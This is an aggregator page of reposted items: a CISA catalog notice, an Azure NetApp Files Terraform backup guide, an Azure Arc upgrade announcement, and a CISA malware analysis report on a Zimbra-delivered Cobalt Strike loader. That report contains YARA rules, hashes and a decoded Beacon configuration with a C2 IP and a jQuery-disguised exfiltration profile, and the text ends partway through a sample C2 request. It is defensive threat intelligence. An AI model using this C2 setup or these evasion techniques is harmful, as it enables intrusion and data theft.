CISA Adds Two Known Exploited Vulnerabilities to Catalog   

This article is contributed. See the original author and article here.

CISA has added two vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise. Note: to view the newly added vulnerabilities in the catalog, click on the arrow in the “Date Added to Catalog” column, which will sort by descending dates.      

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant risk to the federal enterprise. BOD 22-01 requires FCEB agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.   

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the Catalog that meet the specified criteria.

Managing Azure NetApp Files preview features with Terraform Cloud and AzAPI Provider

Managing Azure NetApp Files preview features with Terraform Cloud and AzAPI Provider

This article is contributed. See the original author and article here.

Table of Contents


 


Abstract


Introduction


Scenario


Azure NetApp Files backup preview enablement


Managing Resource Providers in Terraform


Terraform Configuration


Terraform AzAPI and AzureRM Providers


Declaring the Azure NetApp Files infrastructure


Azure NetApp Files backup policy creation


Assigning a backup policy to an Azure NetApp Files volume


AzAPI to AzureRM migration


Summary


Additional Information


 


Abstract


 


This article demonstrates how to enable the use of preview features in Azure NetApp Files in combination with Terraform Cloud and the AzAPI provider. In this example we enhance data protection with Azure NetApp Files backup (preview) by enabling and creating backup policies using the AzAPI Terraform provider and leveraging Terraform Cloud for the deployment.


 


Co-authors: John Alfaro (NetApp)


 


Introduction


 


As Azure NetApp Files development progresses new features are continuously being brought to market. Some of those features arrive in a typical Azure ‘preview’ fashion first. These features normally do not get included into Terraform before general availability (GA). A recent example of such a preview feature at the time of writing is Azure NetApp Files backup.


 


In addition to snapshots and cross-region replication, Azure NetApp Files data protection has extended to include backup vaulting of snapshots. Using Azure NetApp Files backup, you can create backups of your volumes based on volume snapshots for longer term retention. At the time of writing, Azure NetApp files backup is a preview feature, and has not yet been included in the Terraform AzureRM provider. For that reason, we decided to use the Terraform AzAPI provider to enable and manage this feature.


 


Azure NetApp Files backup provides fully managed backup solution for long-term recovery, archive, and compliance.


 



  • Backups created by the service are stored in an Azure storage account independent of volume snapshots. The Azure storage account will be zone-redundant storage (ZRS) where availability zones are available or locally redundant storage (LRS) in regions without support for availability zones.

  • Backups taken by the service can be restored to an Azure NetApp Files volume within the region.

  • Azure NetApp Files backup supports both policy-based (scheduled) backups and manual (on-demand) backups. In this article, we will be focusing on policy-based backups.


 


For more information regarding this capability go to Azure NetApp Files backup documentation.


 


Scenario


 


In the following scenario, we will demonstrate how Azure NetApp Files backup can be enabled and managed using the Terraform AzAPI provider. To provide additional redundancy for our backups, we will backup our volumes in the Australia East region, taking advantage of zone-redundant storage (ZRS).


 


GeertVanTeylingen_1-1666260655880.png


 


Azure NetApp Files backup preview enablement


To enable the preview feature for Azure NetApp Files, you need to enable the preview feature. In this case, this feature needs to be requested via the Public Preview request form. Once the feature is enabled, it will appear as ‘Registered’.


 


Get-AzProviderFeature -ProviderNamespace “Microsoft.NetApp” -Feature ANFBackupPreview

FeatureName ProviderName RegistrationState
———– ———— —————–
ANFBackupPreview Microsoft.NetApp Registered

 









(!) Note


 


A ‘Pending’ status means that the feature needs to be enabled by Microsoft before it can be used.



 


Managing Resource Providers in Terraform


 


In case you manage resource providers and its features using Terraform you will find that registering the preview feature will fail with the below message, which is expected as it is a forms-based opt-in feature.


 


Resource “azurerm_resource_provider_registration” “anfa” {
   name     = “Microsoft.NetApp”
   feature {
     name       = “ANFSDNAppliance”
     registered = true
   }
   feature {
     name       = “ANFChownMode”
     registered = true
   }
   feature {
     name       = “ANFUnixPermissions”
     registered = true
   }
   feature {
     name = “ANFBackupPreview”
     registered = true
    }
 } 

 


GeertVanTeylingen_0-1666261153399.png


 


Terraform Configuration


 


We are deploying Azure NetApp Files using a module with the Terraform AzureRM provider and configuring the backup preview feature using the AzAPI provider.


 


Microsoft has recently released the Terraform AzAPI provider which helps to break the barrier in the infrastructure as code (IaC) development process by enabling us to deploy features that are not yet released in the AzureRM provider. The definition is quite clear and taken from the provider GitHub page.


 


The AzAPI provider is a very thin layer on top of the Azure ARM REST APIs. This new provider can be used to authenticate to and manage Azure resources and functionality using the Azure Resource Manager APIs directly.


 


The code structure we have used looks like the sample below. However, if using Terraform Cloud you use the private registry for module consumption. For this article, we are using local modules.


 


ANF Repo
        |_Modules
            |_ANF_Pool
        |       |_ main.tf
        |       |_ variables.tf
        |       |_ outputs.tf
        |   |_ ANF_Volume
        |       |_ main.tf
        |       |_ variables.tf
        |       |_ outputs.tf       
        |_ main.tf
        |_ providers.tf
        |_ variables.tf
        |_ outputs.tf 

 


Terraform AzAPI and AzureRM Providers


 


We have declared the Terraform providers configuration to be used as below.


 


 provider “azurerm” {
  skip_provider_registration = true
  features {}
}
 
provider “azapi” {
}
 
terraform {
  required_providers {
    azurerm = {
      source  = “hashicorp/azurerm”
      version = “~> 3.00”
    }
 
    azapi = {
      source = “azure/azapi”
    }
  }
} 

 


Declaring the Azure NetApp Files infrastructure


 


To create the Azure NetApp Files infrastructure, we will be declaring and deploying the following resources:


 



  • NetApp account

  • capacity pool

  • volume

  • export policy which contains one or more export rules that provide client access rules


 


resource “azurerm_netapp_account” “analytics” {
  name                = “cero-netappaccount”
  location            = data.azurerm_resource_group.one.location
  resource_group_name = data.azurerm_resource_group.one.name
}
 
module “analytics_pools” {
  source   = “./modules/anf_pool”
 
  for_each = local.pools
 
  account_name        = azurerm_netapp_account.analytics.name
  resource_group_name =    azurerm_netapp_account.analytics.resource_group_name
  location            = azurerm_netapp_account.analytics.location
  volumes             = each.value
  tags                = var.tags
}

 


To configure Azure NetApp Files policy-based backups for a volume there are some requirements. For more info about these requirements, please check requirements and considerations for Azure NetApp Files backup.


 



  • snapshot policy must be configured and enabled

  • Azure NetApp Files backup is supported in the following regions. In this example we are using the Australia East region.


 


After deployment, you will be able to see the backup icon as part of the NetApp account as below.


 


GeertVanTeylingen_1-1666261358871.png


 


Azure NetApp Files backup policy creation


 


The creation of the backup policy is similar to a snapshot policy and has its own Terraform resource. The backup policy is a child element of the NetApp account. You’ll need to use the ‘azapi_resource’ resource type with the latest API version. 


 









(!) Note


 


It is helpful to install the Terraform AzAPI provider extension in VSCode, as it will make development easier with the IntelliSense completion.



 


The code looks like this:


 


resource “azapi_resource” “backup_policy” {
  type      = “Microsoft.NetApp/netAppAccounts/backupPolicies@2022-01-01”
  parent_id = azurerm_netapp_account.analytics.id
  name      = “test”
  location  = “australiaeast”
 
  body = jsonencode({
    properties = {
      enabled              = true
      dailyBackupsToKeep   = 1
      weeklyBackupsToKeep  = 0
      monthlyBackupsToKeep = 0
    }
  })
}

 









(!) Note


 


The ‘parent_id’ is the resource id of the NetApp account



 


Because we are deploying this in the Australia East region, which has support for availability zones, the Azure storage account used will be configured with zone-redundant storage (ZRS), as documented under Requirements and considerations for Azure NetApp Files backup. In the Azure Portal, within the volume context, it will look like the following:


 


GeertVanTeylingen_2-1666261532885.png


 









(!) Note


 


Currently Azure NetApp File backups supports backing up the daily, weekly, and monthly local snapshots created by the associated snapshot policy to the Azure Storage account.



 


The first snapshot created when the backup feature is enabled is called a baseline snapshot, and its name includes the prefix ‘snapmirror’.


 


GeertVanTeylingen_3-1666261563655.png


 


Assigning a backup policy to an Azure NetApp Files volume


 


The next step in the process is to assign the backup policy to an Azure NetApp Files volume. Once again, as this is not yet supported by the AzureRM provider, we will use the `azapi_update_resource` as it allows us to manage the resource properties we need from the existing NetApp account. Additionally, it does use the same auth methods as the AzureRM provider. In this case, the configuration code looks like the following where the data protection block is added to the volume configuration.


 


resource “azapi_update_resource” “vol_backup” {
  type        = “Microsoft.NetApp/netAppAccounts/capacityPools/volumes@2021-10-01”
  resource_id = module.analytics_pools[“pool1”].volumes.volume1.volume.id
  body = jsonencode({
    properties = {
      dataProtection = {
        backup = {
          backupEnabled  = true
          backupPolicyId = azapi_resource.backup_policy.id
          policyEnforced = true
        }
      }
      unixPermissions = “0740”,
      exportPolicy = {
        rules = [{
          ruleIndex = 1,
          chownMode = “unRestricted” }
        ]
      }
    }
  })
}

 


The data protection policy will look like the screenshot below indicating the specified volume is fully protected within the region.


 


GeertVanTeylingen_4-1666261660085.png


 


AzAPI to AzureRM migration


 


At some point, the resources created using the AzAPI provider will become available in the AzureRM provider, which is the recommended way to provision infrastructure as code in Azure. To make code migration a bit easier, Microsoft has provided the AzAPI2AzureRM migration tool.


 


Summary


 


The Terraform AzAPI provider is a tool to deploy Azure features that have not yet been integrated in to the AzureRM Terraform provider. As we see more adoption of preview features in Azure NetApp Files this new functionality will give us deployment support to manage zero-day and preview features, such as Azure NetApp Files backup and more.


 


Additional Information



  1. https://learn.microsoft.com/azure/azure-netapp-files

  2. https://learn.microsoft.com/azure/azure-netapp-files/backup-introduction

  3. https://learn.microsoft.com/azure/azure-netapp-files/backup-requirements-considerations

  4. https://learn.microsoft.com/azure/developer/terraform/overview-azapi-provider#azapi2azurerm-migration-tool

  5. https://registry.terraform.io/providers/hashicorp/azurerm

  6. https://registry.terraform.io/providers/Azure/azapi

  7. https://github.com/Azure/terraform-provider-azapi

CISA Releases Three Industrial Control Systems Advisories

CISA Releases Three Industrial Control Systems Advisories

This article is contributed. See the original author and article here.

Dot gov

Official websites use .gov
A .gov website belongs to an official government organization in the United States.

SSL

Secure .gov websites use HTTPS

A lock (lock icon) or https:// means you’ve safely connected to the .gov website. Share sensitive information only on official, secure websites.
Automatic extension upgrade now provides high availability to Arc-enabled servers during upgrades

Automatic extension upgrade now provides high availability to Arc-enabled servers during upgrades

This article is contributed. See the original author and article here.

The Azure Arc team is excited to announce generally availability of Automatic VM extension upgrades for Azure Arc-enabled servers. VM extensions allow customers to easily include additional capabilities on their Azure Arc-enabled servers. Extension capabilities range from collecting log data with Azure Monitor to extending your security posture with Azure Defender to deploying a hybrid runbook worker on Azure Automation. Over time, these VM extensions get updated with security enhancements and new functionality. Maintaining high availability of these services during these upgrades can be challenging and a manual task. The complexity only grows as the scale of your service increases. 


 


With Automatic VM extension upgrades, extensions are automatically upgraded by Azure Arc whenever a new version of an extension is published. Auto extension upgrade is designed to minimize service disruption of workloads during upgrades even at high scale and to automatically protect customers against zero-day & critical vulnerabilities.  


 


How does this work?


Gone are the days of manually checking for and scheduling updates to the VM Extensions used by your Azure Arc-enabled servers. When a new version of an extension is published, Azure will automatically check to see if the extension is installed on any of your Azure Arc-enabled servers. If the extension is installed, and you’ve opted into automatic upgrades, your extension will be queued for an upgrade.


The upgrades across all eligible servers are rolled out in multiple iterations where each iteration contains a subset of servers (about 20% of all eligible servers). Each iteration has a randomly selected set of servers and can contain servers from one or more Azure regions. During the upgrade, the latest version of the extension is downloaded to each server, the current version is removed, and finally the latest version is installed. Once all the extensions in the current phase are upgraded, the next phase will begin. If upgrade fails on any of the VM, then rollback to previous stable extension version is triggered immediately. This will remove the extension and install the last stable version of the extension. This rolled back VM is then included in the next phase to retry upgrade. You’ll see an event in the Azure Activity Log when an extension upgrade is initiated.


 


How do I get started?


No user action is required to enable automatic extension upgrade. When you deploy an extension to your server, automatic extension upgrades will be enabled by default. All your existing ARM templates, Azure Policies, and deployment scripts will honor the default selection. You however will have an option to opt-out during or any time after extension installation on the server. 
 


After an extension installation, you can verify if the extension is enabled for automatic upgrade by looking for the status under “Automatic upgrade status” column in Azure Portal. Azure Portal can also be used to opt-in or opt-out of auto upgrades by first selecting the extensions using checkboxes and then by clicking on the “Enable Automatic Upgrade” or “Disable Automatic Upgrade” buttons respectively. 


 


tanmaygore_0-1666121331861.png


 


You can also use Azure CLI and Azure PowerShell to view the auto extension upgrade status and to opt-in or opt-out. You can learn more about this using our Azure documentation.


 


What extensions & regions are supported?


Limited set of extensions are currently supported for Auto extension upgrade. Extensions not yet supported for auto upgrade will have status as “Not supported” under the “Automatic upgrade status” column. You can also refer Azure documentation for complete list of supported extensions


All public azure regions are currently supported. Arc enabled Servers connected to any public azure region are eligible for automatic upgrades. 


 


Upcoming enhancements


We will be gradually supporting many more extensions available on Arc enabled Servers. 

10398871-1.v2 Zimbra October Update

10398871-1.v2 Zimbra October Update

This article is contributed. See the original author and article here.

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received a benign 32-bit Windows executable file, a malicious dynamic-link library (DLL) and an encrypted file for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The executable file is designed to side-load the malicious DLL file. The DLL is designed to load and Exclusive OR (XOR) decrypt the encrypted file. The decrypted file contains a Cobalt Strike Beacon binary. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the command and control (C2) server and checks for additional commands to execute on the compromised system.

For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.

Download the PDF version of this report: MAR-10398871-1.v2.WHITE, 372 kb

Submitted Files (3)

233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 (bin.config)

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 (VFTRACE.dll)

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 (vxhost.exe)

Additional Files (1)

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e (Extracted_CobaltStrike_Beacon)

IPs (1)

207.148.76.235

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348

Tags

loaderpup

Details
Name vxhost.exe
Size 351240 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 4109ac08bdc8591c7b46348eb1bca85d
SHA1 6423d1c324522bfd2b65108b554847ac4ab02479
SHA256 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
SHA512 0605362190a9cb04a7392c7eae3ef79964a76ea68dc03dfabe6ec8f445f1c355772f2ca8166cbee73188e57bff06b74fb2cfa59869cb4461fffe1c3589856554
ssdeep 6144:BTMoU0+zvvLIpa8bo5GOc1G41vupWn2rwRGekPHZLZKA1UnmOlm:XUDvvsc80AOc1GYvAW2EGtH5ZKAKmOQ
Entropy 6.471736
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2016-01-05 08:22:40-05:00
Import Hash b66afb12e84aa5ce621a6635837cadba
Company Name CyberArk Software Ltd.
File Description CyberArk Viewfinity
Internal Name vf_host.exe
Legal Copyright Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename vf_host.exe
Product Name CyberArk Viewfinity
Product Version 5.5.10.101
PE Sections
MD5 Name Raw Size Entropy
3822119e846581669481aba79308c57c header 1024 2.580725
98ccfff2af4ccaa3335f63592a1fba02 .text 270848 6.543317
9dcc89a0d16e36145bb07924ca260dfe .rdata 50688 5.132125
14d493033fc147f67601753310725b2b .data 5632 3.711689
615729d1383743a91b8baf309f1a8232 .rsrc 16896 4.839559
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
df847abbfa… Used 25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51
Description

This artifact is a 32-bit executable file that has been identified as a version of vf_host.exe from Viewfinity and is benign. The file is used to side-load a DLL, vftrace.dll “058434852bb8e877069d27f452442167”.

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51

Tags

loadertrojan

Details
Name VFTRACE.dll
Size 78336 bytes
Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5 058434852bb8e877069d27f452442167
SHA1 026d81090c857d894aaa18225ec4a99e419da651
SHA256 25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51
SHA512 602ad76d61e97d72d983083768eba32d3ad549ac1c763a9b39092feaef8bd4d186df18b6f91992ac8da517e86b84aaa2422da700798a65f4383ed997f52744e3
ssdeep 1536:carhs4oc7yABoxjo5p+Ocyk7P0Okmu4dJsWxcdbbZFUZAUZpw/:ndy8oxjS+Ocyk7sMzCbVFUZAULW
Entropy 6.278601
Antivirus
Adaware Gen:Variant.Bulz.429221
Avira TR/Agent.bjbhb
Bitdefender Gen:Variant.Bulz.429221
Cyren W32/ABRisk.LHKD-1052
ESET a variant of Win32/Agent.AELW trojan
Emsisoft Gen:Variant.Bulz.429221 (B)
IKARUS Trojan.Win32.Agent
K7 Trojan ( 00595a621 )
Symantec Trojan.Gen.MBT
Zillya! Trojan.Agent.Win32.2882847
YARA Rules
  • rule CISA_10398871_01 : trojan loader COBALTSTRIKE
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10398871”
           Date = “2022-09-29”
           Last_Modified = “20221001_1200”
           Actor = “n/a”
           Category = “Trojan Loader”
           Family = “COBALTSTRIKE”
           Description = “Detects CobaltStrike Loader samples”
           MD5=”058434852bb8e877069d27f452442167″
           SHA256=”25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51″
       strings:
           $s1 = { 62 69 6E 2E 63 6F 6E 66 69 67 }
           $s2 = { 56 46 54 52 41 43 45 }
           $s3 = { FF 15 18 D0 00 10 }
           $s4 = { FF 15 28 D0 00 10 }
           $s5 = { 8B 55 EC 03 55 F4 0F B6 02 33 45 E4 }
       condition:
           uint16(0) == 0x5A4D and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2022-06-20 05:36:32-04:00
Import Hash 6677de6818bcf597d512ad4ddaea3f53
Company Name CyberArk Software Ltd.
File Description CyberArk Viewfinity
Internal Name VFTRACE.dll
Legal Copyright Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename VFTRACE.dll
Product Name CyberArk Viewfinity
Product Version 5.5.10.101
PE Sections
MD5 Name Raw Size Entropy
ef4a8b161c3676b052755f8c0bf9f3bd header 1024 2.828221
48afd9b4ef10b5f14b2c10c9581cbc2d .text 45568 6.611882
f99c54571592839d48904df07f921829 .rdata 24064 4.990721
8a5c1764d3d68e0963003dd46f3b905e .data 2560 1.834913
1e0c952d3a72e7edcda3b58acd829b6b .rsrc 1536 3.799739
41dfd851e9053a3876aa86212cd5d4a1 .reloc 3584 6.485745
Packers/Compilers/Cryptors
Borland Delphi 3.0 (???)
Relationships
25da610be6… Used_By df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
25da610be6… Used 233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91
Description

This artifact is a malicious 32-bit DLL file loaded by “vxhost.exe” (4109ac08bdc8591c7b46348eb1bca85d). This file is designed to search and load an encrypted file “%current directory%bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) if installed on the compromised system. It decrypts the file using the hard-coded XOR key “0x401”. The decrypted binary contains a Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header. It copies the Cobalt Strike Beacon DLL into a buffer and executes the shellcode.

Screenshots

Figure 1 - This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file "bin.config" (be2b0c387642fe7e8475f5f5f0c6b90a) before executed in memory.

Figure 1 – This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file “bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) before executed in memory.

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e

Tags

trojan

Details
Name Extracted_CobaltStrike_Beacon
Size 210953 bytes
Type data
MD5 ff1d9474c2bfa9ada8d5ed3e16f0b04a
SHA1 60299a59f05b10f49f781dc073249bcb7ec27b63
SHA256 3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
SHA512 a064097eb149f7a23df75d7575f8c30ffb83fd7ad0a00ab379c34c114827cef5ec574a1126a7f914eeed08a8c8230c796cdc5cdf111cc238fa6e9427580f9fab
ssdeep 6144:tRqu98CxD0cdRScc6stsxB4WLks1YarGR8Wjo/gj:F24hdEjWLks1YarGR85Yj
Entropy 6.968463
Antivirus
Adaware DeepScan:Generic.Exploit.Shellcode.2.8AF0A507
Bitdefender DeepScan:Generic.Exploit.Shellcode.2.8AF0A507
Emsisoft DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 (B)
Trend Micro Trojan.FC904969
Trend Micro HouseCall Trojan.FC904969
YARA Rules
  • rule CISA_10398871_02 : trojan COBALTSTRIKE
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10398871”
           Date = “2022-09-29”
           Last_Modified = “20221001_1200”
           Actor = “n/a”
           Category = “Trojan”
           Family = “COBALTSTRIKE”
           Description = “Detects CobaltStrike trojan shellcode samples with an embedded beacon”
           MD5=”ff1d9474c2bfa9ada8d5ed3e16f0b04a”
           SHA256=”3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e”
       strings:
           $s1 = { 41 41 41 41 }
           $s2 = { 42 42 42 42 }
           $s3 = { 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 }
           $s4 = { 8B 4D 08 51 6A 01 8B 55 C0 52 FF 55 C8 }
       condition:
           uint16(9) == 0x5A4D and all of them
    }
ssdeep Matches

No matches found.

Relationships
3450d5a3c5… Connected_To 207.148.76.235
3450d5a3c5… Contained_Within 233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91
Description

This file is decrypted and executed by “vftrace.dll” (058434852bb8e877069d27f452442167). This file is a 32-bit Portable Executable (PE) DLL that has an embedded shellcode inside of the MZ header, which is located at the start of the file. When executed, the shellcode decrypts an embedded beacon payload using a single-byte XOR key 0xC3. It executes the entry point of the decrypted payload in memory at runtime. The decrypted payload has been identified as a Cobalt Strike Beacon implant. During the execution, it decodes its configuration using a single-byte XOR key 0x4f. The configuration contains the, RSA public key, C2, communication protocol, and more. The parsed configuration data for the Cobalt Strike Beacon implant is displayed below in JSON format:

–Begin configuration in the Cobalt Strike Beacon–
{
“BeaconType”: [
   “HTTPS”                         ==> Beacon uses HTTPS to communicate
],
“Port”: 443,
“SleepTime”: 5000,                ==> Timing of C2 Beacons via Sleeptime and Jitter feature
“MaxGetSize”: 1403644,
“Jitter”: 20,                         ==> . Jitter value to force Beacon to randomly modify its sleep time. Jitter of 20 means that there is a random jitter of 20% of 5000 milliseconds
“MaxDNS”: “Not Found”,     ==> Publickey to encrypt communications
“PublicKey”:                     “MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDApWEZn8vYHYN/JiXoF72xGpWuxdZ7gGRYn6E7+mFmsVDSzImL7GTMXrllB4TM6/oR+WDKk0L+8elLel63FXPQ3d3K/t1/8dnYBLpjPER+/G/iu2viAN+6KEsQfKA3O6ZvABg9/uH86G2erow7Ik4a2VinucYSkKJ8jYV1yfeDzQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==”,
“PublicKey_MD5”: “9b96180552065cdf6cc42f8ba6f43f8b”,
“C2Server”: “207[.]148[.]76[.]235,/jquery-3.3.1.min.js”,
“UserAgent”: “Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36”,
“HttpPostUri”: “/jquery-3.3.2.min.js”,
“Malleable_C2_Instructions”: [
   “Remove 1522 bytes from the end”,
   “Remove 84 bytes from the beginning”,
   “Remove 3931 bytes from the beginning”,
   “Base64 URL-safe decode”,
   “XOR mask w/ random key”
],
“HttpGet_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [
    “base64url”,
    “prepend “__cfduid=””,
    “header “Cookie””
   ],
   “SessionId”: [],
   “Output”: []
},
“HttpPost_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [],
   “SessionId”: [
    “mask”,
    “base64url”,
    “parameter “__cfduid””
   ],
   “Output”: [
    “mask”,
    “base64url”,
    “print”
   ]
},
“SpawnTo”: “AAAAAAAAAAAAAAAAAAAAAA==”,
“PipeName”: “Not Found”,
“DNS_Idle”: “Not Found”,
“DNS_Sleep”: “Not Found”,
“SSH_Host”: “Not Found”,
“SSH_Port”: “Not Found”,
“SSH_Username”: “Not Found”,
“SSH_Password_Plaintext”: “Not Found”,
“SSH_Password_Pubkey”: “Not Found”,
“SSH_Banner”: “”,
“HttpGet_Verb”: “GET”,
“HttpPost_Verb”: “POST”,
“HttpPostChunk”: 0,
“Spawnto_x86”: “%windir%syswow64dllhost.exe”,
“Spawnto_x64”: “%windir%sysnativedllhost.exe”,
“CryptoScheme”: 0,
“Proxy_Config”: “Not Found”,
“Proxy_User”: “Not Found”,
“Proxy_Password”: “Not Found”,
“Proxy_Behavior”: “Use IE settings”,
“Watermark”: 1234567890,
“bStageCleanup”: “True”,
“bCFGCaution”: “False”,
“KillDate”: 0,
“bProcInject_StartRWX”: “False”,
“bProcInject_UseRWX”: “False”,
“bProcInject_MinAllocSize”: 17500,
“ProcInject_PrependAppend_x86”: [
   “kJA=”,
   “Empty”
],
“ProcInject_PrependAppend_x64”: [
   “kJA=”,
   “Empty”
],
“ProcInject_Execute”: [
   “ntdll:RtlUserThreadStart”,
   “CreateThread”,
   “NtQueueApcThread-s”,
   “CreateRemoteThread”,
   “RtlCreateUserThread”
],
“ProcInject_AllocationMethod”: “NtMapViewOfSection”,
“ProcInject_Stub”: “s7YR+gVAMtA1Jtjf0KV/Cw==”,     ==> the Base64 encoded MD5 file hash of the Cobalt Strike
“bUsesCookies”: “True”,
“HostHeader”: “”,
“smbFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“tcpFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“headersToRemove”: “Not Found”,
“DNS_Beaconing”: “Not Found”,
“DNS_get_TypeA”: “Not Found”,
“DNS_get_TypeAAAA”: “Not Found”,
“DNS_get_TypeTXT”: “Not Found”,
“DNS_put_metadata”: “Not Found”,
“DNS_put_output”: “Not Found”,
“DNS_resolver”: “Not Found”,
“DNS_strategy”: “round-robin”,
“DNS_strategy_rotate_seconds”: -1,
“DNS_strategy_fail_x”: -1,
“DNS_strategy_fail_seconds”: -1
}
–End configuration in the Cobalt Strike Beacon–

It is designed to use a JavaScript library jQuery malleable C2 profile for communication to evade detection. It attempts to send a GET request to its C2 server with metadata in the cookie header “__cfduid” that contains information about the compromised system such as, username, computer name, operating system (OS) version, the name of the malware executing on the victim’s system, and other information. The metadata in the cookie header is encrypted and encoded.

Displayed below is the RSA public key used to encrypt the metadata before it is encoded using NetBios (uppercase) and base64 encoding algorithm:

–Begin public key–
30 81 9F 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 81 8D 00 30 81 89 02 81 81 00 C0 A5 61 19 9F CB D8 1D 83 7F 26 25 E8 17 BD B1 1A 95 AE C5 D6 7B 80 64 58 9F A1 3B FA 61 66 B1 50 D2 CC 89 8B EC 64 CC 5E B9 65 07 84 CC EB FA 11 F9 60 CA 93 42 FE F1 E9 4B 7A 5E B7 15 73 D0 DD DD CA FE DD 7F F1 D9 D8 04 BA 63 3C 44 7E FC 6F E2 BB 6B E2 00 DF BA 28 4B 10 7C A0 37 3B A6 6F 00 18 3D FE E1 FC E8 6D 9E AE 8C 3B 22 4E 1A D9 58 A7 B9 C6 12 90 A2 7C 8D 85 75 C9 F7 83 CD 02 03 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
–End public key–

Displayed below is a sample jQuery Malleable C2 Hypertext Transfer Protocol (HTTP) GET request with metadata in the cookie header:

–Begin request–
GET /jquery-3.3.1.min.js HTTP/1.1
